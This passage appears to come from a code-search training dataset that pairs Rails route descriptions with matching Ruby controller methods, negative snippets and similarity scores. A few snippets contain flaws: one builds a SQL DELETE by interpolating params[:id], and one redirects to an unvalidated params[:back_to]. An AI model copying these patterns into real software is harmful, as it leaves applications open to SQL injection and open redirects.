"0.54994786",
"0.54994786",
"0.54994786",
"0.54994786",
"0.54994786",
"0.54994786",
"0.54994786",
"0.54994786",
"0.54994786"
] |
0.6570691
|
2
|
DELETE /feed_entries/1 DELETE /feed_entries/1.xml
|
def destroy
@feed_entry = FeedEntry.find(params[:id])
@feed_entry.destroy
respond_to do |format|
format.html { redirect_to(feed_entries_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @entry = Entry.find(params[:id])\n @feed = @entry.feed\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to feed_path(@feed) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @feed_entry = FeedEntry.find(params[:id])\n @feed_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to feed_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feedentry = Feedentry.find(params[:id])\n @feedentry.destroy\n\n respond_to do |format|\n format.html { redirect_to feedentries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry ||= Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @datafeed = Datafeed.find(params[:id])\n @datafeed.destroy\n\n respond_to do |format|\n format.html { redirect_to(datafeeds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed = Feed.destroy(params[:id])\n flash[:notice] = t(\"collector.feeds.notice.removed\", :feed_url => @feed.url)\n \n respond_to do |wants| \n wants.html { redirect_to feeds_path }\n wants.xml { render :nothing => true }\n end\n end",
"def destroy\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n @populate_feed_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(populate_feed_infos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_feed(feed_id)\n the_feed = hawk_escape_id feed_id\n http_delete(\"/feeds/#{the_feed}\")\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action => :index) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed_entry.destroy\n respond_to do |format|\n format.html { redirect_to feed_entries_url, notice: 'Feed entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @twitterfeed = Twitterfeed.find(params[:id])\n @twitterfeed.destroy\n\n respond_to do |format|\n format.html { redirect_to(twitterfeeds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_item = EntryItem.find(params[:id])\n @entry_item.destroy\n\n respond_to do |format|\n #format.html { redirect_to(entry_items_url) }\n format.xml { head :ok }\n end\n end",
"def delete_entries(entries)\n delete_all(:id => entries)\n end",
"def destroy\n @rss_feed = RssFeed.find(params[:id])\n @rss_feed.destroy\n\n respond_to do |format|\n format.html { redirect_to rss_feeds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rss_feed = RssFeed.find(params[:id])\n @rss_feed.destroy\n\n respond_to do |format|\n format.html { redirect_to rss_feeds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed_item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @update = Update.find_by_permalink(params[:id])\n @update.destroy\n\n respond_to do |format|\n format.html { redirect_to(updates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n redirect_to feeds_url\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.deleted = 1\n @post.save\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n make_rss\n end",
"def destroy\n @feed_element = FeedElement.find(params[:id])\n @feed_element.destroy\n\n respond_to do |format|\n format.html { redirect_to feed_elements_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n head :no_content\n end",
"def destroy\n Feed.find(params[:id]).destroy\n render :json => {:ok => true}, :head => :no_content\n end",
"def destroy\n @subentry = Subentry.find(params[:id])\n @subentry.destroy\n\n respond_to do |format|\n format.html { redirect_to(subentries_url) }\n format.xml { head :ok }\n end\n end",
"def delete_entries(entries)\n all(:id => entries.map(&:id)).destroy!\n end",
"def destroy\n debugger\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n if @feed.destroy\n render text: 'ok'\n end\n end",
"def destroy\n @blog_entry = BlogEntry.find(params[:id])\n @blog_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(blog_entries_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n current_user.user_feeds.find_by_feed_id(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@activity = Activity.find(params[:id])\n @activity = Activity.find_by_permalink(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed_item = FeedItem.find(params[:id])\n @feed_item.destroy\n\n respond_to do |format|\n format.html { redirect_to feed_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to blog_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to user_path current_user }\n format.xml { head :ok }\n end\n end",
"def destroy\n @journal_entry = JournalEntry.find(params[:id])\n @journal_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(journal_entries_url) }\n format.xml { head :ok }\n end\n end",
"def test_valid_delete_returns_204\n db = DB.get\n\n valid_entry = SEED_ENTRIES.first\n insert_entry(db, valid_entry)\n\n assert_equal 1, db.execute('select * from entries').count\n\n delete \"/api/entries/#{valid_entry[:slug]}\"\n assert last_response.no_content?\n\n assert_equal 0, db.execute('select * from entries').count\n end",
"def destroy\n @feed.destroy\n respond_to do |format|\n format.html { redirect_to feeds_url, notice: 'Feed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed.destroy\n respond_to do |format|\n format.html { redirect_to feeds_url, notice: 'Feed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed.destroy\n respond_to do |format|\n format.html { redirect_to feeds_url, notice: 'Feed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed.destroy\n respond_to do |format|\n format.html { redirect_to feeds_url, notice: 'Feed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed.destroy\n respond_to do |format|\n format.html { redirect_to feeds_url, notice: 'Feed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journalentry = Journalentry.find(params[:id])\n @journalentry.destroy\n\n respond_to do |format|\n format.html { redirect_to(journalentries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find_by_id(params[:id])\n @entry.destroy if @entry\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @news_update = NewsUpdate.find(params[:id])\n @news_update.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_updates_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @feed_url.destroy\n respond_to do |format|\n format.html { redirect_to feed_urls_url, notice: 'Feed url was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = @resource_finder.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to_resources }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @news_feed.destroy\n\n respond_to do |format|\n format.html { redirect_to news_feeds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed_info.destroy\n respond_to do |format|\n format.html { redirect_to feed_infos_url, notice: 'Feed info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n redirect_to(entries_url)\n end",
"def destroy\n @rssnew = Rssnews.find(params[:id])\n @rssnew.destroy\n\n respond_to do |format|\n format.html { redirect_to(rssnews_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @r_entry.destroy\n respond_to do |format|\n format.html { redirect_to r_entries_url }\n format.json { head :no_content }\n end\n end",
"def delete\n delete_from_server single_url\n end",
"def destroy\n \n @feed = @user.feeds.find(params[:id])\n \n unless @feed.nil?\n @feed.destroy\n flash[:notice] = 'Feed was successfully deleted.'\n end\n \n respond_to do |format|\n format.html { redirect_to(user_feeds_path(@user)) }\n format.xml { head :ok }\n end\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def destroy\n @atom = Atom.find(params[:id])\n @atom.destroy\n\n respond_to do |format|\n format.html { redirect_to(atoms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mypost = Mypost.find(params[:id])\n @mypost.destroy\n\t\n\n respond_to do |format|\n format.html { redirect_to myfeed_path }\n format.json { head :no_content }\n end\n\t\t end",
"def destroy \n Link.connection.execute(\"delete from links where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(links_url) }\n format.xml { head :ok }\n end\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @feed.destroy\n respond_to do |format|\n format.html { \n redirect_to feeds_url\n flash[:success] = 'Feed was successfully destroyed.' \n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed_category = FeedCategory.find(params[:id])\n @feed_category.destroy\n\n respond_to do |format|\n format.html { redirect_to feed_categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to '/entries' }\n format.json { render json: @entry }\n end\n end",
"def destroy\n @feed_item.destroy\n respond_to do |format|\n format.html {redirect_to feed_items_url, notice: 'Feed item was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @account_entry = AccountEntry.find(params[:id])\n @account_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(account_entries_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_entries_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url, notice: \"Eintrag erfolgreich gelöscht. #{undo_link}\" }\n format.json { head :no_content }\n end\n end",
"def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end",
"def destroy_rest\n @entry_answer = EntryAnswer.find(params[:id])\n @entry_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = current_user.entries.find(params[:id])\n @entry.destroy\n current_user.entries_sum -= 1\n current_user.save!\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { render :text => \"success\" }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to entries_url, :notice => \"Entry has been deleted\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry_set = EntrySet.find(params[:id])\n @entry_set.destroy\n\n respond_to do |format|\n format.html { redirect_to entry_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n collection = Collection.find(@mlog_entry[:collection_id])\n @mlog_entry.destroy\n respond_to do |format|\n format.html { redirect_to collection}\n format.json { head :no_content }\n end\n end",
"def delete(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('syndicationfeed', 'delete', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def destroy\n if @feed.user_id == current_user.id\n @feed.destroy\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.json { head :no_content }\n end\n else\n err_mex\n end\n end",
"def destroy\n @post_entry.destroy\n respond_to do |format|\n format.html { redirect_to post_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.71579355",
"0.7028766",
"0.70177007",
"0.6973815",
"0.6934134",
"0.6934134",
"0.6934134",
"0.6934134",
"0.6934134",
"0.6912192",
"0.69084364",
"0.690329",
"0.6856918",
"0.68258643",
"0.6805577",
"0.6785518",
"0.67805064",
"0.6753707",
"0.67425853",
"0.6725857",
"0.6715022",
"0.6715022",
"0.6651515",
"0.6618487",
"0.660131",
"0.660131",
"0.660131",
"0.6592703",
"0.65780026",
"0.65757525",
"0.65549046",
"0.6548507",
"0.649964",
"0.6478581",
"0.64756143",
"0.6453683",
"0.6450354",
"0.642903",
"0.6425167",
"0.640622",
"0.63800126",
"0.63767505",
"0.6364356",
"0.6355344",
"0.6336959",
"0.6336084",
"0.63266623",
"0.63266623",
"0.63266623",
"0.63266623",
"0.63266623",
"0.6326008",
"0.6325249",
"0.6325249",
"0.63225156",
"0.6321988",
"0.6296578",
"0.6296578",
"0.6296578",
"0.62898976",
"0.62815386",
"0.62766117",
"0.62761664",
"0.6272647",
"0.6267647",
"0.6253111",
"0.6240712",
"0.6235916",
"0.6222392",
"0.6221605",
"0.62146753",
"0.6210547",
"0.62105143",
"0.62105143",
"0.62089306",
"0.6208912",
"0.6204497",
"0.61903936",
"0.6189985",
"0.61889184",
"0.6173126",
"0.61703837",
"0.61671025",
"0.6163614",
"0.6163614",
"0.6162084",
"0.6160354",
"0.6160214",
"0.6156183",
"0.6150753",
"0.6150143",
"0.61426836",
"0.61223996",
"0.6118957",
"0.611774",
"0.6099851",
"0.60921717",
"0.60854405",
"0.60825557",
"0.60689145"
] |
0.74111605
|
0
|
redirect to this page after login
|
def after_sign_in_path_for(resource)
"/users/#{current_user.id}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def redirect_to_login_page\n query_params = request.query_parameters\n query_params.merge!(return_to: request.path)\n\n target = cms_path(Homepage.default.login_page, query_params)\n\n redirect_to(target, alert: \"This page is protected. You either don't have neccessary access rights or you are not logged in.\")\n end",
"def login\n redirect_to lato_core.root_path if core_controlSession\n end",
"def redirect_login(url)\n redirect_to(redirect_login_url(url))\n end",
"def redirect_to_login\n\n redirect_to('/login')\n\n end",
"def login_checkpoint\n redirect to '/' if !logged_in?\n end",
"def auth_after\n url = session[:auth_redirect] || root_path\n redirect_to url\n end",
"def user_login\n unless logged_in?\n navigated_location #stores the location that was navigated before login\n flash[:alert]= \"You Must Be Log In Order To Access that Portion of the Site\" \n redirect_to login_path\n end\n end",
"def auth\n #redirect to login page unless already logged in\n redirect_to new_user_session_path, alert: \"You must login to access that page\" unless logged_in?\n end",
"def login_first\n redirect_to account_login_path(dest: (params[:dest] || request.path))\n end",
"def redirect\n\t\trender 'sessions/new'\n\tend",
"def loginpage\n end",
"def authorize\n return if session[:user_id]\n flash[:notice] = \"Please log in\"\n session[:jumpto] = request.parameters\n redirect_to(:controller => \"/login\", :action => \"index\")\n end",
"def logged_in_redirect\n if logged_in?\n flash[:err] = \"you are already logged in\"\n redirect_to root_path\n end\n end",
"def after_login\n if logged_in?\n answer('/')\n else\n redirect Rs(:login, :fail => :session)\n end\n end",
"def new\n attempt_login\n redirect_to root_path if logged_in?\n end",
"def login\n\t\tif @current_user != nil\n\t\t\tredirect_to user_path(@current_user.id)\n\t\tend\n\tend",
"def new\n redirect_to(login_path)\n end",
"def login\n return redirect_to '/' if current_account && current_account.refresh_credentials(cookies) && !current_account.reviewer? && current_account.active?\n\n return render layout: 'new' unless request.post?\n next_url = (params[:next] && CGI.unescape(params[:next])) || '/'\n account = Account.log_in(params[:email], params[:password], session, cookies)\n return redirect_to(next_url) if account && account.active?\n if account && !account.active?\n flash[:error] = \"Your account has been disabled. Contact support@documentcloud.org.\"\n else\n flash[:error] = \"Invalid email or password.\"\n end\n begin\n if referrer = request.env[\"HTTP_REFERER\"]\n redirect_to referrer.sub(/^http:/, 'https:')\n end\n rescue RedirectBackError => e\n return render layout: 'new'\n end\n end",
"def show\n redirect_to login_path \n end",
"def login_page\n end",
"def login\n return redirect_to '/' if current_account && current_account.refresh_credentials(cookies) && !current_account.reviewer? && current_account.active?\n return render unless request.post?\n next_url = (params[:next] && CGI.unescape(params[:next])) || '/'\n account = Account.log_in(params[:email], params[:password], session, cookies)\n return redirect_to(next_url) if account && account.active?\n if account && !account.active?\n flash[:error] = \"Your account has been disabled. Contact support@documentcloud.org.\"\n else\n flash[:error] = \"Invalid email or password.\"\n end\n begin\n if referrer = request.env[\"HTTP_REFERER\"]\n redirect_to referrer.sub(/^http:/, 'https:')\n end\n rescue RedirectBackError => e\n # Render...\n end\n end",
"def force_login\n store_location\n redirect_to login_path, alert: \"Whups, you need to login for that!\"\n end",
"def autenticathe_login!\n unless someone_is_logged_in?\n store_location\n flash[:danger] = \"Por favor, Inicie sesion.\"\n redirect_to welcome_path\n end\n end",
"def authorize_page\n if (params[:id] == 'dashboard' or params[:id] == 'welcome') and current_user.nil?\n session[:next] = request.fullpath\n puts session[:next]\n redirect_to new_user_session_path, alert: _(\"You have to log in to continue.\")\n end\n end",
"def make_user_login\n #If you aren't logged in redirect to login page\n if !logged_in?\n redirect_to(:controller => 'sessions', :action => 'login')\n end\n end",
"def index\r\n redirect_to :action => :login\r\n end",
"def authorize_redirect\n \tif session[:user_id]\n\t\tredirect_to :controller => 'home'\n \tend\n end",
"def login_required\n redirect_to login_path unless logged_in?\n end",
"def login_required\n \t\t redirect_to(root_url, notice: 'You have to be signed in to do that! Top right ~') unless current_user\n \tend",
"def redirect_if_not_logged_in\n if !logged_in?\n flash[:errors] = \"You must be logged in to view the page \"\n redirect '/'\n end\n end",
"def store_and_redirect_location\n #session[:return_to] = \"/\"\n redirect_to \"/welcome/new\",:status => 401\n end",
"def require_login\n redirect R(:login) unless logged_in?\n end",
"def login_required\n if !logged_in?\n redirect \"/login?#{env[\"REQUEST_PATH\"]}\"\n end\n end",
"def redirect_if_not_logged_in\n redirect_to login_path unless logged_in?\n end",
"def redirect_if_not_logged_in\n #redirect the user if the user is not logged in\n end",
"def log()\n if user_signed_in?\n else\n \tredirect_to \"http://localhost:3000/users/sign_in\"\n end\n end",
"def redirect_if_logged_in\n if logged_in?\n redirect \"/users/#{current_user.id}\"\n end\n end",
"def new\n redirect_to root_path if logged_in?\n end",
"def login_reguired\n if current_user.nil?\n store_return_url\n redirect_to login_path\n end\n end",
"def login_redirect(user, url)\n auto_login(user)\n redirect_to url\n end",
"def redirect_if_not_logged_in\n if !logged_in?\n flash[:message] = \"You must login to view this page\"\n # flash[:errors] = \"You must be logged in to view the page you tried to view.\"\n redirect '/'\n end\n end",
"def login_and_redirect(user)\n log_in user\n flash[:success] = 'Logged in with Auth0!'\n redirect_back_or user\n end",
"def new\n if logged_in?\n # Users who are logged in should not be shown the logon page, per feedback from confused users\n redirect_back_or_home \n elsif request.referer\n # If the user tried to access a page was denied, redirect them to the original page they\n # were denied access to, and not the '/denied' page\n flash[:login_referer_page] = (flash[:denied_path] ? flash[:denied_path] : request.referer)\n end\n end",
"def authenticate\n redirect_to login_path if !logged_in\n end",
"def index\n redirect_to(:action => 'login') unless logged_in? \n end",
"def authenticate_user\n# save current page for redirection after login\n redirect_to controller: :user, action: :login unless logged_in? \n current_user\n end",
"def login_popup\n session[:redirect_to_after_auth] = request.env['HTTP_REFERER']\n @login_form = LoginForm.new\n render :layout => \"blank\"\n end",
"def redirect_non_logged\n unless logged_in?\n flash[:danger] = \"Faça login para acessar essa página.\"\n redirect_to login_url\n end\n end",
"def my_login_required\n return true if logged_in?\n flash[:warning]='Please login to continue'\n session[:return_to] = request.url\n redirect_to \"/auth/google_oauth2\"\n return false \n \n end",
"def auto_login\n url = params[:back_to]\n redirect_to url\n end",
"def auth_user\n redirect_to new_user_session_url unless user_signed_in?\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end",
"def authenticate_user\n \tif !logged_in?\n \tredirect_to login_url\n \tend\n end",
"def login_required! \n if ! is_logged_in? \n redirect '/login' \n end \n end",
"def redirect_if_not_logged_in\n if !logged_in?\n flash[:notice] = \"You must be logged in to view the page you tried to view.\"\n redirect '/'\n end\n end",
"def redirect_if_logged_in\n redirect_to root_path if logged_in?\n end",
"def logged_in_user\n return if logged_in?\n store_location\n redirect_to sessions_new_path, alert: 'Please log in.'\n end",
"def if_logged_in_redirect\n if logged_in?\n redirect_to current_user\n end\n end",
"def if_logged_in_redirect\n if logged_in?\n redirect_to current_user\n end\n end",
"def check_login\n redirect_to root_url, alert: \"You must login to view this page.\" if current_user.nil?\n end",
"def req_login\n unless curr_user\n flash[:danger] = \"Login to view this content\"\n redirect_to login_url\n end\n end",
"def index\n res = create_request2(root_url + '/login/auth', 'tequila.epfl.ch')\n redirect_to ('https://tequila.epfl.ch/cgi-bin/tequila/requestauth?request' + res)\n end",
"def authorize\n unless User.find_by_id(session[:user_id])\n flash[:notice] = \"Please log in to access this page\"\n session[:return_to] = request.fullpath\n logger.info \"request refer #{request.fullpath}\"\n redirect_to :controller => \"auth\", :action => \"login\"\n end\n end",
"def confirm_user_login\n unless user_logged_in?\n session[:desired_url] = url_for(santize_parameters)\n flash[:warning] = 'Please log in.'\n redirect_to(login_path)\n end\n true\n end",
"def logged_in_user\n unless logged_in?\n redirect_to login_url\n end\n end",
"def login_required\n if current_user\n return true\n end\n flash[:warning]='Please login to continue'\n # session[:return_to]=request.request_uri\n redirect_to :controller => \"/admin/user\", :action => \"login\"\n return false \n end",
"def redirect_if_logged_in\n if logged_in?\n redirect \"/users/#{current_user.id}\"\n end\n #def redirect_if_logged_in_as_someone_else\n #end\n end",
"def login\n\t#Login Form\n end",
"def login_required\n unless session[:user_id].present?\n redirect_to login_user_index_path\n end\n end",
"def check_redirect_if_user_login\n \t\tif signed_in?\n \t\t\tflash[:alert] = \"You are already login.\"\n \t\t\tredirect_to homes_path and return \n \t\tend\n \tend",
"def redirect_to_appropriate_page_after_sign_in\n if params[:redirect_back_url]\n redirect_to params[:redirect_back_url]+\"?auth_token=#{@current_user.auth_token}\"\n else\n redirect_to default_redirect_url_after_sign_in\n end\n return\n end",
"def redirect_if_not_logged_in\n\t\tredirect_to '/' if !logged_in?\n\tend",
"def logged_in_user\n unless logged_in?\n redirect_to root_url\n end\n end",
"def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end",
"def new\n @page_title = \"Login\"\n check_referer if params[:return]\n end",
"def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end",
"def ensure_logged_in\n redirect_to new_session_url unless logged_in?\n end",
"def logged_in_user\n unless logged_in?\n store_url_destination\n flash[:danger] = \"please log in.\"\n redirect_to login_path\n end\n end",
"def login\n if not signed_in?\n flash[:error]='Please sign in First'\n redirect_to new_admin_session_path\n end\n end",
"def new #login page\n end",
"def login_required\n if logged_in?\n return true\n else\n redirect_to(:controller => '/user', :action => 'index')\n return false\n end\n end",
"def logged_in_user\n unless logged_in?\n redirect_to '/login'\n end\n end",
"def authorize\n\t if session[:user_id].nil?\n\t\t session[:original_uri] = request.request_uri\n\t\t redirect_to(login_path)\n\t\t flash[:notice] = \"Please login or sign up to access The Mashera Project!\"\n\t end\n end",
"def require_login\n if !current_user\n redirect_to \"/\"\n end\n end",
"def check_session\n if session[:user_id].nil?\n session[:return_to] = request.request_uri\n flash[:messgae] = \"Please sign-in or sign-up to access any of these pages.\"\n redirect_to :controller => 'user', :action => 'index'\n return\n end\n end",
"def logged_in_user\n return if logged_in?\n store_location\n flash[:danger] = t \"danger.login\"\n redirect_to login_url\n end",
"def logged_in\n if current_user == nil\n redirect_to new_user_session_path\n end\n end",
"def logged_in_account\n unless logged_in?\n redirect_to login_path\n end\n end",
"def require_login\n redirect_to '/login' unless session[:name]\n end",
"def save_login_state\n if session[:user_id]\n redirect_to(:controller => 'catalog', :action => 'index')\n else\n end\n end",
"def redirect_if_no_login\n if !current_user\n flash[:notice] = \"You need to sign in before viewing this page.\"\n redirect_to root_path\n end\n end",
"def logged_in_account\n unless logged_in?\n redirect_to login_path\n end\n \tend",
"def authenticate\n # if login failed, show error message\n if session[:login]\n # redirect_to '/index'\n else\n # continue showing the view\n end\n end",
"def require_login\n redirect_to login_path if !user_logged?\n end",
"def Usuario_noLogueado\n redirect_to(root_url) unless logged_in?\n end",
"def redirect_to_user_page\n if teacher_signed_in?\n redirect_to :controller => 'search'\n elsif volunteer_signed_in?\n redirect_to :controller => 'conversations'\n end\n end",
"def logged_in_user\n return if logged_in?\n store_location\n flash[:danger] = t \"flash.login_required\"\n redirect_to login_url\n end",
